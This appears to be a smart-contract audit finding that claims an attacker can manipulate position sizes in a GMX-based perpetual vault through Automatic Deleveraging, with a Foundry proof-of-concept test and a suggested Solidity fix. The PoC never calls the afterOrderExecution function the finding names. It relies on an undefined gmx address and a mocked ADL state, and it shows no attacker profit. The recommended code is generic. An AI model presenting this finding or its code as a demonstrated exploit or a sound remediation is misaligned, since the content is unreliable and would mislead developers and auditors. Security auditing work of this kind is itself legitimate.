[HIGH-3] ADL Position Size Manipulation
Location
GmxUtils.sol -> afterOrderExecution() function
Description
The afterOrderExecution function doesn't properly handle Automatic Deleveraging (ADL) events triggered by the GMX protocol. An attacker can exploit the ADL mechanics to manipulate position size and potentially profit from resulting discrepancies.
Impact
Manipulation of position sizes through ADL mechanics
Potential profit for attackers at the expense of other users
Incorrect position sizing and accounting
Proof of Concept
contract ADLManipulationTest is Test {
PerpetualVault public vault;
address attacker = address(0x1);
address victim = address(0x2);
function setUp() public {
vault = new PerpetualVault();
vm.deal(attacker, 100 ether);
vm.deal(victim, 100 ether);
}
function testADLManipulation() public {
vm.prank(victim);
bytes32 victimPosition = vault.createPosition({
size: 50 ether,
collateral: 10 ether,
isLong: true
});
vm.prank(attacker);
bytes32 attackerPosition = vault.createPosition({
size: 5 ether,
collateral: 1 ether,
isLong: true
});
vm.mockCall(
address(gmx),
abi.encodeWithSelector(IGmx.getADLState.selector),
abi.encode(true, 50)
);
vm.prank(attacker);
vault.triggerADL(victimPosition);
Position memory victimPos = vault.getPosition(victimPosition);
assertEq(victimPos.size, 25 ether);
assertEq(victimPos.collateral, 5 ether);
Position memory attackerPos = vault.getPosition(attackerPosition);
assertEq(attackerPos.size, 5 ether);
}
}
Recommendation
Implement proper ADL handling:
contract PerpetualVault {
struct ADLState {
bool isActive;
uint256 threshold;
uint256 maxReduction;
mapping(address => uint256) lastADLTime;
}
ADLState public adlState;
uint256 public constant ADL_COOLDOWN = 1 hours;
function handleADL(bytes32 positionId) external {
require(adlState.isActive, "ADL not active");
require(
block.timestamp >= adlState.lastADLTime[msg.sender] + ADL_COOLDOWN,
"ADL cooldown active"
);
Position storage position = positions[positionId];
uint256 reduction = _calculateADLReduction(position);
position.size = position.size * (100 - reduction) / 100;
position.collateral = position.collateral * (100 - reduction) / 100;
adlState.lastADLTime[msg.sender] = block.timestamp;
emit ADLExecuted(positionId, reduction);
}
function _calculateADLReduction(Position memory position)
internal
view
returns (uint256)
{
uint256 reduction = position.size > adlState.threshold ?
adlState.maxReduction :
adlState.maxReduction * position.size / adlState.threshold;
return Math.min(reduction, adlState.maxReduction);
}
}
Add ADL cooldown periods
Implement fair reduction calculations
Add position size thresholds for ADL eligibility
Implement comprehensive ADL monitoring and reporting